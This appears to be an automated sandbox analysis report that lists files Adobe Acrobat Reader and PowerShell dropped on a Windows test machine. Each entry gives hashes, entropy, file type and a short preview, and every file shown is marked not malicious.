SHA1:	4730506678AC87367484E170FF924CE304B8CC29
SHA-256:	23ACDED741E2F1FEB34221080D8A37D1EBDFCA13BE66C2B10EA753A624254B9A
SHA-512:	4131CDB7665433093117C34D39EB2203942BC7188F9BDAAD42B80A1BB7B4B19710295EDACF58AC291128504B9A058BF5ADA824F20D01BBF8D8E5814A8BFE9FF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.310030397824236
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJf+dPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZG28Ukee9
MD5:	20F8A9D01541D2F34F193AE23E7E5E24
SHA1:	710DAD5F814F46964EE38AD77F37B0205550B925
SHA-256:	712E15BAF4BCE429EA43B672FD0066F403FFF79A7C0E3E532FDC29C63FF4228F
SHA-512:	6D7CE7912375AB67E169065CD8F49685C8DC2B6C961C6A96FCB7227A1D41103F57EDC70AD05AA7F891251A793C4F3526F7A22AED0A64557379690F5F9F94C591
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.306658484879832
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJfbPtdPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZGDV8Ukee9
MD5:	CC4EFAA9FBE83DE99F3EFC5136FBF3DB
SHA1:	9C4B4D9DD9D378DE52ABBFE5BB5536ADE80D6B5D
SHA-256:	8A765F1281550027057D2DAC06A135F387F334B48FB00B5652DBE8E8FAE51A75
SHA-512:	20B834F295975BC4FA17DCC18B65B3D8C99375F1A34868E9BB6249F5BD62E5A4EB4943F964E0308260F2FBB57CBCF393048733256F35EFCDED261FE95F38E695
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.298405152841676
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJf21rPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZG+16Ukee9
MD5:	C5A042C4340B2599C30B6AE954F91C8C
SHA1:	CE3F4D112593E3566ECC5E6DF70165941F91B792
SHA-256:	23535EB0B0C301EA52DB54D16003A3187FF37BFCA0BFC36545395D8758107551
SHA-512:	36142F83BDC8AB6B89706F58F852B65A1F00788FFCFCF3E31EDA82A5DAAC5B69548416F1E4F7FEA2B4DDBE6AC98D31FD71794A153072140EB54D31F94B3FB840
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.672618890301242
Encrypted:	false
SSDEEP:	24:Yv6XiRpL1rT5XIAiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSv:YvDXl8BgkDMUJUAh8cvMv
MD5:	A57C0B1A15B4EE4B36C8A0E161FF337F
SHA1:	EAD38947AB6C4B8CBE200CE91D43FC0DD8D0A9BE
SHA-256:	803053D59493265B305F8E170444F5C4336F3CDC498452CD2105FDFD1D15E10B
SHA-512:	240E0F1C319A156B123B5993873A0984288DB427F801D7D9816041D4DE866E526A32C8E9248FBF2EFBD9F9ED9F7537A74652C84729FD1AFF957F0C9B3E6AAD69
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.275164113979125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJfshHHrPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZGUUUkee9
MD5:	86091B69B3FFF2C32E798F68885FBD23
SHA1:	4B710E4D43E101EF38DBE2E8723D9AADD85C88F9
SHA-256:	B1F11A14DCCA4E59383CE70D2A6AEA729E2357545E48C40DDBD7EAC437433672
SHA-512:	DC9EA4323E6EB323C2FE2039961903A6D478998C297A82AAF016ABDF1B6930698AC50565F4D61352EC4AE910CD8D7077E3D1A579B6AE4A5ACC7DE6B27812AEA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.281230458913626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJTqgFCrPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZGTq16Uke6
MD5:	48A576DF2F9C9AEAE68E48FF25976F65
SHA1:	5CB600FDB8374609D1F74CDFC530A463AF832E39
SHA-256:	1441D3A8C4F83DAE499BF73CC1099E450FDCCBECA1DC0CB6850F9B6EAF40F7C4
SHA-512:	710C0CEA61E2CF708E1F54613E14FF1E22BA7DDD9168DA0C56C3E5E330942E420FC9357CE9CD30A439F9EDD1B8FCCD7565E3B81159ADA74C175BA8365FB94348
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143634793717894
Encrypted:	false
SSDEEP:	48:YDb8vCipRbG5jVMHx5If37ysSGEK/r9tR:suCmGjVYf8jJEAtR
MD5:	2F89535480B06A8E53A0284DAC63F8C6
SHA1:	811EC8C941F75583263D9875DFAD58BECE402268
SHA-256:	CBFB3EEE114EAE8F51DE920887A174D37B0808145018E15AEEF17A1A8BDC5F55
SHA-512:	253BB629753A3E9DC35C799892548EB04E6E2D4DD102C1861B92E2BA09ACC05D777BEA425EAD45DF4CB5D427CD6F405DE3364942405D50E7DA338CE3505A038E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0cf61aafdbf24f014b8298381d0cf9de","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736539205000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"99d2a2c8204837fe72180dd07704b169","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736539205000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"09218120bff62e05b9cb2fb01a88e388","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736539204000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"0194374499045d8d6c949b45e59557c0","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736539204000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"7d9f9a8e978d6440568846d9077716cd","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736539204000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"47f6a984b5012fbd9a7eb9f0fa940182","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3678168991412236
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuJXKdqEKfS8EKfM1baRF:Tll2GL7msMcKTlS8fcsu+fIj
MD5:	12F1BF8AE37719F16689EFEC38D24840
SHA1:	DE28C338E5B0D06B1E857ED3897BB09188525914
SHA-256:	FC791CCCAF65BDAF6D4D358687399C83A5290F2BC3905CB884146DF7A63B95CC
SHA-512:	8FED56F132D225A68A8B0D83E2C37C683CCA3395DD859B3D9140341FC5EEAD1BBB0A653A1741E771FFA2BC3EBDCE880D12798238F1A4B09C3E3857C83D6753C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8410692151824581
Encrypted:	false
SSDEEP:	24:7+t5Z6bqyKn6ylSTofcNqDuJ+KdqEKfS8EKfM1banbqkWqLKufx/XYKQvGJF7ur2:7MrcKTlS8fcsuLfIGqGufl2GL7msT
MD5:	F8AA776F39231BB8A65687028EE32298
SHA1:	E8AB06E40F818A8CA3E8562C69CBF913C3FC1139
SHA-256:	FF34F650DAE50159166B75CB8869C2A2ABE99118DB8BD182201EC0642C4F02A0
SHA-512:	B0273A59C97EF050857538A984A5B6CA00AD5CAE3DFD9D58A94439EDAC7085166F63390B74BE892D34EE54202D62284FD1A5350E8E0176FD9B85CE8BC0C4C3B8
Malicious:	false
Preview:	.... .c.....:4.8..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgWpB4mBv+hROWiiEtDdd8j2CSenDYyu:6a6TZ44ADEWpB9BvKROzr8X9DK
MD5:	EF6A1AF1DCD77F5C45FDA056FB3F4959
SHA1:	9ADF1B09232347AC8E34231DC90BD48EDA5AC712
SHA-256:	D1511948AA6271747257936EAEE7BF6D87568C5BF1A7E09A3CCD2521FC20FE7B
SHA-512:	9AEDC3E71375B7536CE3369D32FB3B8061D960AF6D9A2BE2C64355AC88DD01D4DB708035E1487BB681D383578347C09CBDEDC756F68FD55DCBB23E5058DFA8D5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllulvh2th:NllUE
MD5:	1C6FEFD3AEFA5BA7595E7FC2E4284A86
SHA1:	1061961FD8D9427258B32E58594747A9009930B7
SHA-256:	AB4853F85060BF67D37B111333E3852386DF7BF6AA0499E6CEF96B10CE5A1621
SHA-512:	03A091C2C65B6C22EFB336B4155E8579A540C773DB34E8F8654BC3D7044C00434020096B41BF2959245CA8722CF3913B38A653DE361A5BF0FDF218A6F07B6626
Malicious:	false
Preview:	@...e.................................~..............@..........

C:\Users\user\AppData\Local\Temp\MSI4c0d8.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEw/:Qw946cPbiOxDlbYnuRK+bDI
MD5:	882A526D670B3E65EBB4AF90A85EE97A
SHA1:	71E03E3D3E61B91478383DB5637863A1AC7D0A3B
SHA-256:	E9DDD861A35BA0AC9C9AF2C0C69C6D1940B1BB17D975A84FC0FEE565F0C35C90
SHA-512:	7F1C6BBE3029DC6F2FCD954CBC8A8DD07C6AF8E2A1DBC681D8242D3FDA6F2AD7B102F3B276CD0AEB74DCFEC32EF01FC0BB5B05E198C967D2BFCED02233748F8E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.0.0.:.0.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qvup4uc.ikp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vyhuge4e.paz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-59-56-585.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.371499663012159
Encrypted:	false
SSDEEP:	384:OI1DrD2DDDRDADvNDICVrCVVCVACVSCVZCVjcCVACV0K+ViVwVEk7knkykZkbHSP:D3UCvta95zQ
MD5:	800B16ACBA359735120D165A47396665
SHA1:	DED1749C451EBE84A3818975187B3C2C7B1E28F6
SHA-256:	6A84DF5DAC9953B688F98A202DD3289F2F5C84F603180BB223E8FAEF4C48A7DB
SHA-512:	BCD64F9AF3B6D5F67AF678C52DF3464F81287903B3D2E887D93F6BA5977FD5CF8A5A8857FF7706A619C8B33FF633DBC9E72004066BA6B5E78B67E34C1940FCF5
Malicious:	false
Preview:	SessionID=eb877162-a5f3-44da-a60d-1d73acc81f91.1736539196597 Timestamp=2025-01-10T14:59:56:597-0500 ThreadID=7672 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=eb877162-a5f3-44da-a60d-1d73acc81f91.1736539196597 Timestamp=2025-01-10T14:59:56:598-0500 ThreadID=7672 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=eb877162-a5f3-44da-a60d-1d73acc81f91.1736539196597 Timestamp=2025-01-10T14:59:56:598-0500 ThreadID=7672 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=eb877162-a5f3-44da-a60d-1d73acc81f91.1736539196597 Timestamp=2025-01-10T14:59:56:598-0500 ThreadID=7672 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=eb877162-a5f3-44da-a60d-1d73acc81f91.1736539196597 Timestamp=2025-01-10T14:59:56:598-0500 ThreadID=7672 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.390192491092605
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmrQcbeISKcbx:8qnXopZ50rv1Sh
MD5:	0BDDCCFE40B2F62500C817721A11FDDB
SHA1:	A4300346DD1F027F8F459456DA1289225A022402
SHA-256:	6753F3E3268A9AC6E3968BA17B78F397B5F966E9C47CE956AB7F7B02CF38F563
SHA-512:	A61154FE58B893BEF42F8D9325053DE76CDD76FB261211E2A94A695C9F5D8D1E28228A75E32547630D727CD61D7D5EA8D060959D110F8184A8E4187D4C2EAD5A
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\29d1289f-53c5-4836-93f9-dc2253d6fe7d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8c3e3202-98f6-453e-9a34-7ee460a8c56d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
